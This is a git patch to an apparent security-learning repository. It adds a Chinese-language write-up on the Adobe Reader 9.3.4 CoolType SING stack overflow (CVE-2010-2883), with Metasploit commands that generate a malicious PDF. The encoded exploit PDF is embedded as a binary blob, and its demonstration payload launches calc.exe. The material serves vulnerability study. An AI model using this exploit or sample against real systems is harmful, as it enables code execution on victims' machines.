From f1c51d8ea3f018bf5c25838c81bf3296adf77f74 Mon Sep 17 00:00:00 2001 From: firmianay Date: Fri, 18 May 2018 16:23:54 +0800 Subject: [PATCH] add 7.1.8 --- SUMMARY.md | 1 + doc/7.1.1_tcpdump_2017-11543.md | 2 +- doc/7.1.2_glibc_2015-0235.md | 2 +- doc/7.1.4_wget_2017-13089.md | 2 +- doc/7.1.5_glibc_2018-1000001.md | 2 +- doc/7.1.6_dnstracer_2017-9430.md | 2 +- doc/7.1.7_binutils_2018-6323.md | 2 +- doc/7.1.8_adobe_reader_2010-2883.md | 52 ++++++++++++++++++ doc/7_exploit.md | 1 + doc/9.2_wintools.md | 4 ++ .../cve20102883.pdf | Bin 0 -> 46150 bytes 11 files changed, 64 insertions(+), 6 deletions(-) create mode 100644 doc/7.1.8_adobe_reader_2010-2883.md create mode 100644 src/exploit/7.1.8_adobe_reader_2010-2883/cve20102883.pdf diff --git a/SUMMARY.md b/SUMMARY.md index 35b54f0..7bdf5bf 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -174,6 +174,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [7.1.5 [CVE–2018-1000001] glibc Buffer Underflow](doc/7.1.5_glibc_2018-1000001.md) * [7.1.6 [CVE-2017-9430] DNSTracer 1.9 Buffer Overflow](doc/7.1.6_dnstracer_2017-9430.md) * [7.1.7 [CVE-2018-6323] GNU binutils 2.26.1 Integer Overflow](doc/7.1.7_binutils_2018-6323.md) + * [7.1.8 [CVE-2010-2883] Adobe Reader 9.3.4 Stack Buffer Overflow](doc/7.1.8_adobe_reader_2010-2883.md) * Malware * [八、学术篇](doc/8_academic.md) * [8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)](doc/8.1_ret2libc_without_func_calls.md) diff --git a/doc/7.1.1_tcpdump_2017-11543.md b/doc/7.1.1_tcpdump_2017-11543.md index 79503bc..9585493 100644 --- a/doc/7.1.1_tcpdump_2017-11543.md +++ b/doc/7.1.1_tcpdump_2017-11543.md @@ -18,7 +18,7 @@ tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构:32 位| -| 调试器 | gdb-peda| 版本号:7.11.1 | +| 调试器 | gdb-peda | 版本号:7.11.1 | | 漏洞软件 | tcpdump | 版本号:4.9.0 | 为了编译 tcpdump,我们需要安装 dev 版本的 libpcap: diff --git a/doc/7.1.2_glibc_2015-0235.md b/doc/7.1.2_glibc_2015-0235.md index 076c32b..9a2683d 100644 --- a/doc/7.1.2_glibc_2015-0235.md +++ b/doc/7.1.2_glibc_2015-0235.md @@ -17,7 +17,7 @@ glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖 | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 12.04 | 体系结构:64 位 | -| 调试器 | gdb-peda| 版本号:7.4 | +| 调试器 | gdb-peda | 版本号:7.4 | | 漏洞软件 | glibc | 版本号:2.15 | | 受影响软件 | Exim4 | 版本号:4.80 | diff --git a/doc/7.1.4_wget_2017-13089.md b/doc/7.1.4_wget_2017-13089.md index 95aad29..c76c9eb 100644 --- a/doc/7.1.4_wget_2017-13089.md +++ b/doc/7.1.4_wget_2017-13089.md @@ -19,7 +19,7 @@ wget 是一个从网络上自动下载文件的工具,支持通过 HTTP、HTTP | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构:64 位 | -| 调试器 | gdb-peda| 版本号:7.11.1 | +| 调试器 | gdb-peda | 版本号:7.11.1 | | 漏洞软件 | wget | 版本号:1.19.1 | 首先编译安装 wget-1.19.1: diff --git a/doc/7.1.5_glibc_2018-1000001.md b/doc/7.1.5_glibc_2018-1000001.md index 4bf6c5f..f2341a4 100644 --- a/doc/7.1.5_glibc_2018-1000001.md +++ b/doc/7.1.5_glibc_2018-1000001.md @@ -17,7 +17,7 @@ | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构:64 位 | -| 调试器 | gdb-peda| 版本号:7.11.1 | +| 调试器 | gdb-peda | 版本号:7.11.1 | | 漏洞软件 | glibc | 版本号:2.23-0ubuntu9 | ```c diff --git a/doc/7.1.6_dnstracer_2017-9430.md b/doc/7.1.6_dnstracer_2017-9430.md index 2aa6570..a285e97 100644 --- a/doc/7.1.6_dnstracer_2017-9430.md +++ b/doc/7.1.6_dnstracer_2017-9430.md @@ -17,7 +17,7 @@ DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 12.04 | 体系结构:32 位 | -| 调试器 | gdb-peda| 版本号:7.4 | +| 调试器 | gdb-peda | 版本号:7.4 | | 漏洞软件 | DNSTracer | 版本号:1.9 | 首先编译安装 DNSTracer: diff --git a/doc/7.1.7_binutils_2018-6323.md b/doc/7.1.7_binutils_2018-6323.md index b4fccfa..9ae149e 100644 --- a/doc/7.1.7_binutils_2018-6323.md +++ b/doc/7.1.7_binutils_2018-6323.md @@ -16,7 +16,7 @@ | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构:32 位 | -| 调试器 | gdb-peda| 版本号:7.11.1 | +| 调试器 | gdb-peda | 版本号:7.11.1 | | 漏洞软件 | binutils | 版本号:2.29.1 | 系统自带的版本是 2.26.1,我们这里编译安装有漏洞的最后一个版本 2.29.1: diff --git a/doc/7.1.8_adobe_reader_2010-2883.md b/doc/7.1.8_adobe_reader_2010-2883.md new file mode 100644 index 0000000..a9bfc28 --- /dev/null +++ b/doc/7.1.8_adobe_reader_2010-2883.md @@ -0,0 +1,52 @@ +# 7.1.8 [CVE-2010-2883] Adobe Reader 9.3.4 Stack Buffer Overflow + +- [漏洞描述](#漏洞描述) +- [漏洞复现](#漏洞复现) +- [漏洞分析](#漏洞分析) +- [参考资料](#参考资料) + + +[下载文件](../src/exploit/7.1.8_adobe_reader_2010-2883) + +## 漏洞描述 +Adobe Reader 和 Acrobat 9.4 之前版本的 CoolType.dll 中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有 TTF 字体的 Smart INdependent Glyphlets (SING) 表格中超长字段的 PDF 文件执行任意代码或者导致拒绝服务。 + + +## 漏洞复现 +| |推荐使用的环境 | 备注 | +| --- | --- | --- | +| 操作系统 | Windows XP SP3 | 体系结构:32 位 | +| 调试器 | WinDbg | 版本号:10.0 x86 | +| 漏洞软件 | Adobe Reader | 版本号:9.3.4 | + +我们利用 Metasploit 来生成攻击样本: +``` +msf > search cve-2010-2883 + Name Disclosure Date Rank Description + ---- --------------- ---- ----------- + exploit/windows/fileformat/adobe_cooltype_sing 2010-09-07 great Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow + +msf > use exploit/windows/fileformat/adobe_cooltype_sing + +msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec +payload => windows/exec + +msf exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe +cmd => calc.exe + +msf exploit(windows/fileformat/adobe_cooltype_sing) > set filename cve20102883.pdf +filename => cve20102883.pdf + +msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit +[*] Creating 'cve20102883.pdf' file... +[+] cve20102883.pdf stored at /home/firmy/.msf4/local/cve20102883.pdf +``` + +使用漏洞版本的 Adobe Reader 打开样本,即可弹出计算器: + + +## 漏洞分析 + +## 参考资料 +- 《漏洞战争》 +- https://www.cvedetails.com/cve/CVE-2010-2883/ diff --git a/doc/7_exploit.md b/doc/7_exploit.md index 4f8706a..cd20588 100644 --- a/doc/7_exploit.md +++ b/doc/7_exploit.md @@ -8,4 +8,5 @@ * [7.1.5 [CVE–2018-1000001] glibc Buffer Underflow](7.1.5_glibc_2018-1000001.md) * [7.1.6 [CVE-2017-9430] DNSTracer 1.9 Buffer Overflow](7.1.6_dnstracer_2017-9430.md) * [7.1.7 [CVE-2018-6323] GNU binutils 2.26.1 Integer Overflow](7.1.7_binutils_2018-6323.md) + * [7.1.8 [CVE-2010-2883] Adobe Reader 9.3.4 Stack Buffer Overflow](7.1.8_adobe_reader_2010-2883.md) * Malware diff --git a/doc/9.2_wintools.md b/doc/9.2_wintools.md index fee2b9d..cfbab3f 100644 --- a/doc/9.2_wintools.md +++ b/doc/9.2_wintools.md @@ -8,6 +8,7 @@ - [PortEx Analyzer](#portex-analyzer) - [Resource Hacker](#resource-hacker) - [wxHexEditor](#wxhexeditor) +- [PDF Stream Dumper](#pdf-stream-dumper) ## 010 Editor @@ -35,3 +36,6 @@ http://www.angusj.com/resourcehacker/ ## wxHexEditor http://www.wxhexeditor.org/ + +## PDF Stream Dumper +http://sandsprite.com/blogs/index.php?uid=7&pid=57 diff --git a/src/exploit/7.1.8_adobe_reader_2010-2883/cve20102883.pdf b/src/exploit/7.1.8_adobe_reader_2010-2883/cve20102883.pdf new file mode 100644 index 0000000000000000000000000000000000000000..3c6f95d242d4b3eefe27758ac5ffd4f872e11766 GIT binary patch literal 46150 zcmZ6xWmH^2mo*F|xCi%!#@*dQaM$4O?(WjKyL*DWy99R&1b26Lc;T7(W@ddqx>wy( zReSHV͛_qt^A!lHCc^lWfsJ5v?@a7+M3fUSWA0FIXzjzJ#C&SYu~aVhmvV1p3^;$^>L*aR9QL z09n~>fgH?0b|U~2%YP>M`QeOhj6T@lKH>j|707DzLGkh7`oIUWe(W%D1N_&H4*|@d zdOqPe*gnt<|D%rezqq76wir1AG}%5cwLiH(7dqQG0hr(zlz|*v|0NyB#`p=$&SC5b z_rDT83H~ENlksE3#>EEUWM$U={{((A{2zfInXrE_vjW&Zss0bjC-wiXV`J3+$ehjQ zbLD?KC}Rv{XZ_HrFJ$|FlloZY_^H*w@MH98_u1djKaBYV{D{~(0JuIieqequfB5rRHKUK+A43iRgN*)XgpK*b za-)yo2N#>ohf5}(4Ps;ZzXkj>=YR47vVL^Ne*m1!0PJj^_Bc8@80%ZZF#=5Cgp@xN zF#%YZ0m>$DpWlZ6>3c@Ne_|XQEcBclA5m*KN^xT=D_el7t%H>jF%>}B0!~EvvnBo; z>%Y7AQ~iH4f1Z&4a_XZz|0iqV|K$9i_W#V<$=2c1!4J=5|I>;_#-GhA$ zjLfY*1TX`bKATzbe@*(&_5WyP{ZF^C8=HQdWKIApBl8E>e^5S7-se#^cKA^8p~vaN z^pB?fs1A$m=h^&N^tsdKL*qx7lj*}@E*9qh_1G%6T>h9OOYAwd=p z8;b()Gx{bj4j=^=Qeh;93@A($iV#ouTKF}{4`Ac2GByiw_#Yd_m_-H%ad2*Q?^*)%3BjOS(}3L?m-*l)(3 z>j$%=fV06#|E7h|N*Kl_j?dde!DkaI z#`+z5Xjs~BYqrvU>AS7@E{=2;Vky@#ONn4=<=kAjIZI)5^ zt9R$4*=H1wQ>Gx!^_dqgj9x~2u$!3Rw`e9D^*{9Z-sc$Ie~I$^7-&YyN|9y4-4XNl z@TPp6MT`~t1rJS^Zpejtoy<2A|)M=PMRd6p!#dwpRMapZA`< zZ@)im&@jLU|N5cR$w+)Woop(_k|G94sge;Rz|LZ^wllND{NC3Et%Ji>b!OYpH2V03 z2=VP%ENyb#gYz*`ZuqABos{=_BzJ4EtB_v{w0_l6vt0%sQ{`rQ81Flf_{!6h>XWLoPp{$1O!bGfyLg7vL@w5#nu zUG}8MzUA9OUoSZcU7C`kn~7R9$j_&`?k;gHH2b(k0)I@h(tX&?LH;G=Cc#QR~-=n@EL=e zk^&m@OZYQ0hC-KOIhD=kuU40bDMd~^^-jt*W-&(_^D|LbP=E01-m(T%&q`kblH75; zcY04C-<l@4J4}c2+{&)$`Rmpny@1?_;H4CF6DibkWW{FIF<+ z>BOP!``Y_l@8%C=(-%imxyevehSjHfANzHFO`FcQ`^U@Q-CNH;a@tSY>`p?KCpzCY z0WmjNVuWdqOvgFMcM`P~TAVg2(`SQEDV5_MR9NH)BUj#yUg-rM9ui50CKBHj)K%gN zG{rUC)tyzu6MN^8>EO;YHxh$(MWs=+g}l+r2?rCGcgJEp0V`a_*(Pm zMY6xMqn4%MX*1uj085>yO7~`1|nkitVyZ!eNGI4?WG~v|XfY)Mb217p+IR=JTZ)j-7(&pc_2w<2s(V*Sv z(knADmGL}18c?d8=$GYV|oxol>RdCa~RkL4tyUw~2~dCXna z#jIUd#A531Y%uwfbiW+*i&azn9Tdbr+}o6-l~*N664s8!A>^gzl!fq5-c< zPkT&4P}Wya8LnpzhQa<9eyCEf)N}JP@&bWf7=CAGsO-!^s&Wjc@_To({T{56--ef4 z^vlhN$%JzvdRw0$xV!^(#K@J@-^Lp$3}dn+8D}2}91JDY1MRr*my@fJUTQIMNeQ-M zB?TXI7|>~@T~H)V=@_y-6JlY)VLF>q1l-7CGaCR}vbX#y-eoR)Px()~{f??~H|b~& zcU|bu;<-QnTwzT-d>RZrd@v%_l;@LZz$$+X!V|C=gXj}^Vx1XplyTp+YE^bw4o^(- z3j#)5{ce8u_^F%)V?074@5+6d(c@1}VgbDh6lrJ+%0QMV|M8;zIV~yYTxe{%%ROLJ zv>Po)m~}LSy*-4J#Yb;wb|fz*eudqP9Oe=^IV3Ylm~rffS&&fYK*3!*i$AQ6MgU~4 z4Ho55q}Yj+C14qd<6DYjVy0jLVvKymjiL$QbpFOcyw=t_5~Se(Sse7IR;=d#vMGxm zVRQc*nw$PHv&qgy24n%c8q@>nfE*FgX;6XWJPz?<`z8oD8EL#raV#!QvUjP<*oKq{ z8A)+T?6|pw(bAA4dbz}lTxepZ2vU<#!Llv#*r!7TS-h;yMpp-@)98P!0PgjHY=@9) zz1Y!n_Vw4PH#=j}Vv?d~sVmbZ!$5P*kt}`nMIcqofC-|^#Q4yJLt!BV)i70B3AK&j zNbJ~7WZZOg-Y_sB`^Sj6XZiG6SuQCy(Mfr zw5$=cQ;3milmr1ACR}b7-d7k>z9fGzi1$N zQD;ZL&8RWTSFw=8~ms zGpMGZ4xw$LnyefsVZXB=Xl^{rn<7=|)KcC?l`DTX&{bPp3c>qxxI912(ewMV=+uH@^JMfqAGSO`6P)kk_xPeCb`UJ>+qdq z1!)%!xzneHDm85+53~XNbsHTh8gD-M(71ydJAay(E_9$8x@>oCwr!@-2IxZ^JjC+G zj7}+Op^p&lJigq$PfnW(F1@D-E!|C)(CYIYHd*{sgkejJm%KqqOe)xVhb8jZt!9#1 z3{|<%LApJ=EUIfI!SbHPE@Z}zF_0LfHfaz!MS;(S?$^gn6k%Bz!AUkQ_l3l(7=g^g z7p(|x{nlKtz>38ONgv%dSZ<;wueOWODCr7rsR~E;cX|~#HBWuUvRMb_k=#PMgb2#5 zzhe?g{c650bf?~bLG8!?NdJUyHyw}br`YE)jmzO1zPT(-&cR)aH;4qIj7;_R*NlBz z95wJ?51NJ|`1vl_ui(u^e;ML}-1Ng0<>CsH1{-W&1mg7JC`niH8)~clVXNQJvw6;l z$6{PcBO}~OJA_@e5jLg&<{1e^UE`5nbw+j$lbs>!(?

1J`#%gJl0%zk9F;HpCC*xm*AIKYgu`10^PW&M&VI4-oPqv=~ES}bE7jz zo0TqS_|SJSmnO6A(Vk%?Uz<5+_$lcnOr^?6J(na{)jY+1l}zPS<1m}U)iaJHrGw_E z_i-_@RA^pchp>~WFzc+%bL!4!63-#!cZnm#HN7rN()jC@?8AKXUZ5siU2fwJp%#sh zBX-rO7E3FHPASEx>3l0(QhovhH;XrF_pldjN?8qYeg-Ezn=z~2iDuR zW8XQ-=ZTcq{<5i-YQNPq!#B++PzNSO)ow)hjs&-9u@aJuO_$Su8No+cjtWkNVMOdyo|y6E$2^JHjs5%!=kil|1-|x`9dRckf`%QbjBSlz z$(0_(_f3*zljZN<=sRo(GQ-VmAEID0r_$ch0G$>qq-h^?ER0z#%5%RZj4}kM>8M5V zW<130qBe^J{SyRs!hV5t`*5F0i$RugkU8@qq zlwfAkLBdtMt-LNR`8Atndr?c;xFSBSe6Ze;IBI-7j(%*=Wrnc{f3Wq2rH!Dj^2K=) z=-T$)?^0~oqVJltA^%%0jUM4+^>$axvVNCh&mczit()FvTk61hbs>QwF)dk5c;HD5}T^WBafcQFUU&LHk>oft|{Tg%;l#p;Q#hwfc@=p2})qhVNdXxfYm3iL;|BU4Kfp z2sbw=2_;cm0d@ya6Cxpck-}Dg!s3U3{1F0uF?$)0=MOB!M7sSso7WH2_;QW#+dYTUUAwnav)ElH^>fnJ>oC4xR=5wzi1at`A&U{AEgrv?Q`t+dzZjIMz~pz zEOjHz9MmYZ;hE`Kr^aMMk$~3JyHUk%&5aH=FnI;E8ppVpOKVWxKSN@PWpmq1- zm8ReNc-h#|$?#C4SeBssd5av~bf4;U)yN@KKOWXqOZ``F>Zvi-yN~%sliLDbwe=P_5t~N|hjG2&w=fi(-U6E7X~J+A74?Cq;Mg9j!W;69+*yZf z$&2*`CFn-(>?7`c{G>g+G}@#9X)O!-tO!=FkqE4iyekh0K*gRb4Y|TSvPXM48b@A? zLpea=>frpK_ay*ob&7OG6YEm#oWngbN571VcK#Ejr`pL+dU57&xxjsl5aJKq%NeKG zpF~8Pn55Vbj;qUgf;GjsDj|9lCMKfU0fM}WV_EQq4wd|S%|V%Pq(psj_ZSWaB_f=g za%;DwgBT9d#OIVd)}Z!Zu^bpz!9qH!Lkghw-?2c<8AUAmddkAbzY9SopmqNlvc9*c6V~Ksa{^VrcZMe4#t6c&tdH_3O>vPNAz8ow5rr z&P7YIk2>--4cUNri(<9m7R||c(63Hh3NEbh7i~x<(c{U@X6pT|l!oSuZhL=%cq=G0 zv#(Ga(c_EQGeAXNLnbVXg=BKnM%z$<)e6LT2!*KJY&L-71su@r>JT^3eG5~)ZI4aA zLTH{<8gsr~be?tx?`H@+VuD0qf-ZsVPb#C`aGhRBQ2BufAv80Q9QkO+@VS}xf(pLfuuy-}vn0K`rW z73qTPfL79E$jl z^bDd=s?ZF3>>Q#|u~4ubABea~e8iH}{i{7SsRVK0c^zD!^-kw^@=bmk9M&lSg2Nh9 zoIez^AaNMn;rb-`O_#{iEgSr+RiSNw?13dYEcXmWY#*MumTeYFQS2J`H@pHg14L3$ zF^}6hn2xc+qF~{{IKtIGAVN@~XQIjhp=^G6p{7yu6kVEda6+hE7K%Q}Cil1BvGSmx zRB^^B94oSDp>IwRUm;-qL8RS+FaCjVaF=Z&UP__JD-V=?ZLx0PMeXQYuvxs`q1wdk zAUDcBIK*cgxrc!-EU^j^MM$Rik5wt`zXmqoyK zM_3PE!Fj85D%l`-qGLDX!nD`E?8MhKxl}j73jx92-7j8l2dcixk1CS~s9b3H&`XLT zt)epHcyPvsDoYTwcobF*rlVYC-AzZ zY`=2ALoI-AvnP4OfUw~wYS+ANB4YgI9z&7=`WC>#&p+szF&K&~iyW426U)AqR1acJ z!_tPpiH)AAh9kUX#)BI(hBJ3G>w-IISvF`>+jGC-E!pRlf>4w@1nKwP&V`$2G1;1s z5Uebx^HHL8o3=vGwKX!0+$IUwHT~k~YhX|Olz5Rucg&?(+!#E`H%=Y)rbeB7&ULU@ z^h7q-KJb{8XYlN?jbU+@9>;V8Hd&cyayg|u^O^RNIC4WNN)#N6o?XwD>JG3g-i1J& z#O4Z^Fr8jJFgBQ7F3;yf`Hntlv#&&7RL^(yYc&HPUSGXBcu(1p%lfTY57=sV;_IsB zHJws5rje7eP5-Txc{k>?tDTur*6uGAKCHM4 zC{ew-WGC~jbFfQb#<2ahK%UuvV;cwtbE-0N^(!9{vcLufknI|cxLMC_O&WbLaOkuI zhJP^GFWmoNub{w0MTqGbI?oV(|BY=m5OShyLa7{$Hm@_rlb)mCECwD0Z6te1kZNQB zE*!;R9)(t92Anmhxo_xp=CTihRu;FDpr9_JiXKV+*wN!czJDN06!pvVW&hdF=#&oQ*lcH`_$6M}WIQ0zTgK--m9ZKnhBpC41 zP(nLsJM4sVI$ytSo!S|O2uT4NmxaUBA}#x8z2;+}^8-;3>|D zSoZp%>3v-u>w1sek$oHV6e=7r?{_@zcz2`+9y+SM@v`|WUN$}XhtB)YI^2w{4)W+c zqtjq|GZ0zGBS(3vj5J5cWm2PK{Rlf9)x!f|6hqqODZ_)zTBa8{#?T2-3H8GfBBZ~| z9el|-Xc&18W4wfYErmHAvC+4D7KVBTS%&u5%wbFS1QUu11eP>a#7=E$tn1v&$kNc*Fp-hzLbw9vs3(?@*w{7F4gQ*khSvKR zW~@@WM4;n!c(RICB5NLZ%pByM{$jC^XDH*F!4~&W2L?uAqK!$G<+L=lVB9>es9eLU zVCGIL|2lLMu-_F}58xc5C{FgA?s6H1DYbBYJkTJ2w;`O0zncjohL*9%mUAIYbP@_B zA0c|&224mT5I7H_&Vv`nI2YT%rH4|O4{A_6%EF~%^Uzge@`2d5WmZI66q+X14i>R% zOH5-$i>600y$d@tIQEM!rymczY2Vm=+e`)JwMfJJ6w>7_U1QD~ZSGQ={nPp9g<}ev zH`Aq;VLa32Tvj-FC0G;$=DDZ0{d1wWO%9}J-R;@jDt)qz2{b}D9HM$L%_G`n*2>)_ zo7B6=E2+)|wYH2{aq6g`Tj%5gp|^c5Nhmg_#DPeN-<_gs({PFQC5p@`m3Ur8UkxYO z_?l^cl=N48QR)Le9VXPMTK>7Ak@ES;UtSgw^{jcFnq@d>OQ2C}1b`*D9SfpZlW=fA zwC145F7=XDAXK5R%HSmQ^y<7Q3n+XHZ0y3rbm9E%`WWFQ_i_wdlCxMa%1gFUNK=Cko^1FgprO}83H|CMq zN-!&!1`r!y#D&b8bvluqm4aHuz(hCQYe z>ITz+C^RAAW%kdus05*B4YVga9=)LfL>Z|RTGR^Fr0=?K+Bg?~I38BdJO7+_7vJ0e z8D>f?z)akYWXE#~U9co2%w$?5RlCWk|JOWEecT`n)PNz!uT68y8Zber*mDf5?9&by zjo<;bMgNhL4k(8;Sp*GA%euHxsecQj# z?R2y{qWVQR$;Wp4j|Z~oLhIKXx}FPoW3=LG%Mo&5@`m+e$=A zI5g8cwh6|H$5mrjr^}6}`S{q>l@_<+L}{&8IT`dIWdq*ym37Pk+xo+P!1b?L+V=2U zux?PM?lQ+pJb|(1IK|;vrvaDEz%~fiKQ3*R~{`R{MuC1F-^DqpH}Wq<`14vhs$aOFCNd0 zS2Xi5Tq8KUtXigEcD!eS+Zl<}zhp~POE0K-u_phNQU28>?vsPCs5c9m%@#^`tCUb9 z%_EP(Cw=;{0dnpx+os0bvYE<74>eeel0hWMz~y!;QQD3TOLenx=+cXbMIn?kF5B45 z7Hm3xVv}by@v7vF|bi1&&RbnaBKYXmiPB&sTk&g6wrH()6>c?K+xLi$5etT=+ToUOVnnPeQTJ zNK>3hv|EycOJe z=D`zNM28mJsY%FB8o?;tlHVsv)`UCbyX?rNXDC(dG)gGM`PFxSt9-~A zkDsy?DIiJ6MSbFFbvtDpU6h>0-v_YMO?IgcvXAB?HHQgn9tR*~emDI&mX_YfjuABS z1c%cc0h)IgPTAXNzINl$&1x8nI9$I{#4!?39_$1oGAho|P4Tdj)z$rqxy=j%vifls zvldbQ!K+tuV9`Z6Bk86N+cKCdH@cbpBh;Z z8e=4g(alt_&hmkn`1`}BYK_**%+1y0*Ck{36X{TdUI#R^lnY%yml7>Gp`VTUMW6^5 z-^MJf`08F^IGVUvgF$o^bjkG0pS+UDPI_l-vLNT{sB0OCjTHUP}}*B5dF{WY;h9 zh&KJ{Sv(8niw#PPEpDe-UEU?-+Bbc5BUN2*r7x{O@6-7H<9Rxr+GI~xNAK6YqN5{@ z7)N}qhpR!NuJ(&u;EwPg(0NzalpVyrDua#|Vv1!&_re#EHEBbkUjQPl5U=!lo=5Wf z6_(=R_IXF+=ACn*6Vy;4p%+AHeK7AP)#sm&O`5vAG0*MW&&lhWZ?=%_Xl}gXOO|{V zuOUf(12={v*0*+$rIb2<<6~h?$l={CRQ8flb1A+cO}w-@;AM0LJBNw5OFWW0!V{j% z`~pmUv+AC=N7kD~UN?~2LusPAhjzeQO&2zAMUr%kL^fVT@-0%(>OBwe^CSD&Zk()^ zx3(XQizy#y|9Ya1i+_;^H?A?I2D+WkwJU-aCYt%_1G@wXPYnLtjbdRF45CxjDAB!_ z57D07PQ7%VH$&E6={aS4mB&R<7on2e6{_aT1148DGY9n3PShaXZ$u~bIAqk zNEwL?>D`H26ii%si~Mdls1aOw%9cq$p|`npn$hkhh05umtzK5n6DhC=63EkP_PY*> zFlvi{hl0uJqvMV3E|4Dy+O|Jcr)CtnasIw>z}bXe>wSOQq0Knya);6cfLRKyhGZ1e z1Xz4)f*~2)L|5>;P~LFe-Y1QN51b|&$)PW9v-`<_V|Op!jqVN=hc$frM{$y1 zvVEaPmVVKr3ZAmx8+`W*C>ShgKe|Wxn1E`~K9;4cH ze)UIEGv^*XSc((DS$Hd0X*S{iBBC>k)XrD&IC>+2W6Dd@zYYa>pgb6p1|z% z#`EhgUIFXT?qCWRa;_qpedIZxtos`&m0x84?r!qef6Jv;X}Q&knCmoG+bkADTpTP+ zZiZNh8PS|mt~>H0PM)cCIP4>lc^eJbo_Dxf3h%|UhwP^?@Hw%X4u>0=)?AG&FDLp= zr0Q_{D7(MalU?s`M=l_5Z(d`~o!h2ASyxdkyX}jw^kM>ta{GH5>MOv)_#C?NxZ_J^ zo4hv(8??o4&yq_d?SxppZzBXMmG+yGryN>aMWaiES}r<_jgPUfO&%MNBP6L3=Yh~2 zaOk7eYfgUaaJS#1G-L{#QElcrQH-XCGehKJ{UYD817ds`5U-l9dgj2U4~73IVOG}7 zsT-VpSAy92T^1by%FpX@BOrV_nUxbL!|&&tuhMSQnYMp%ZNlWAX;y0S zX*=~idu?PmQZ3gS!Jr8or6H>PcRMdN+O&*clMN)I2W_r*(Ix2S3pXWPfR z08$|E?wawHj>eme=u3D*nm1KAy;$MzTLa{@mw*>e!I%NEO0_~;fwr300i{sdH=9d> zLajlQNK9W<-tED`M65*jW~7*sXN6Rcw;rkyiCu;f$laYp=*izj+t%1Seocs9tikEw zptZD4cIyj75icfb9Zl%Ic_G*j>Hg7N3`gF}9$~&U?-j=Dj7mPf7bu2 zz>4?_uJJKT^6Q=GwuZYgAmoM4`@zkYC<_PTq^v?!Bc@48iEB_=jdPUN&)j}E=Dt=; zxLzt*;5YtWIon8+%!tb`sH$$I>~2MOkz=^s^ef<9_k4&;&Y-1h106OCrfu)9W&~SF zx#yQ2-rXO&XuC?gf9#SR^a0zJ^|Rz04h$D&aX-J-g5GdXOe|?4aGOo+))|$<|ntYTYaop@WgARycRry$4+*+Qp5K0-+Xoh1b*R0?7 zBqRIbEG){u|054YM*;K8v%M93n1K3~8dV%<*85|SxI}@|5AzUGUD^rg33~hjBSZPV zB7cJrPN;J#k0ARans{72AJLwkYHB&Q?F0$B7Y*kw${j|4>-r z?{P()3_GK>4!<^c3K6+ur;sDW4LZy=tFKt;!!}8q#V$C?4X@j~R3`_B-T?XI!5Y=C z$XA014O~kY)>RK^$i-`(jJ9@^Ad3zXGoMOGk>^on3m1hzK9K6f<(PPdP_HIe^$+z< zsqG{kQfo>46gd*>3BDKW@bBopWE`ONzJp=pf??z@wswpSjnXrkOzV4MUPR z_Fv!Ec2qzJV7fVwF(opHGYYHIll@H;G;7ATQCOdjUeSk&^N;Sh8_%ESTYbKOfEv6O z$5e~(Df=$BwvX#bZc|9Cld)5EulOT>v^e=<;by(d1i8Bzuo-5USj3EAiC;0GF~~Eh zENRaI%OT=d{}Nj!MT~Rbm*+Tnd>N8mn{<9R6dVe|}?-f;A+?bQ)Q(C6EMtLn<@WMD$ zg48I~p=w(%kDc+OBn_n{3)qcHOL^+j1p&qW4g+_)Pf~{~j3q%d$(RoDp=|jC&*A2r zKk#EHLPeT|Gim7iVY8OtO*jK<8X5HsS(-MR9XhO`HavJj-;aJGzm+Y2-+(PP zZkwXIUN94hve=s(M3?hAF|iHSDH_uJJ|UTx#(Q}Oto?57HJLK(ol_{j6Y1b-zy#(cjE@iS9mr4 zZ+Q||w#P40cxNg0zriKcJ+*$aS;K@zaJ9GK)V~CL z&e{9V8?XFPX78raZk^>$TD>kKs+L`pWGOkcGhqY^vR3I#CW3CEI#BTtp3s$Yvug(M z)C^%*AJPCbx0i+pa89E!OHkML1Hb!Zd(gCK@&1L`6LPXDqW|FeH|VUd`)z*hfrN9e z+yNQ6aOGv^Ub_7@?y6tz;}#osO$Co5rJ3}1Xm{PwKZS6JsAEUk4?D(81YY|_O>a7Z z5Bbo>Z5aIl>?i^&FsExc$gQ@VrHwAjN;k4&&hkzB^5{pJXNsH%U48##qmFjr-<%LkRLTV|QMvj%8 zzlY#f>$;ekfZ-owgLRADTU}QtF}L4qh0cGZOOwS3xv90$d_n zX5nr?0EAL~Yd2smI_?!`+2dRkem!(PAa^n)OsiNU3)E}}gPN1u)uBoe(aPi1 ziS~8po7SVyqs@REyk*tTPP=*^$I}HOy(-_77nOgPHeH?YrWojuk2lSB554P#hWxTJ zns;W4!0&5(>mF}?Niez36LhJnH+?}t!8}p<7DHJma9og!UT2cW80<0s%wet1I*=sY z05T}df#9(5W4J}Xh3aGq(xkOK$w=OnmK&6;7XWIl&N_N++R#1u!r;8{xSKbLToFjH zQ3FZ1^+VLpmd}9dT8^(Li^oPH$6rRsc3D;kLVD!SFycdXoJFtZ7SQ0ulx^j5313h} zse%R>NLmquAo{}2R8X+D1uodRnE&3DggR0DdC>1AWzL}`jt?c3-7C>rD4iDBhaO7Hy~B`;+;yMD?c5i+~wAD42xwG@lT2ft%&4t^!!q$g>4o zpK95xLuYFCHcH7hD2<^RpP^6oUqCFs2)uqY%$qpHv9m^0dA8cL#E>5UK6jM^8~xcD 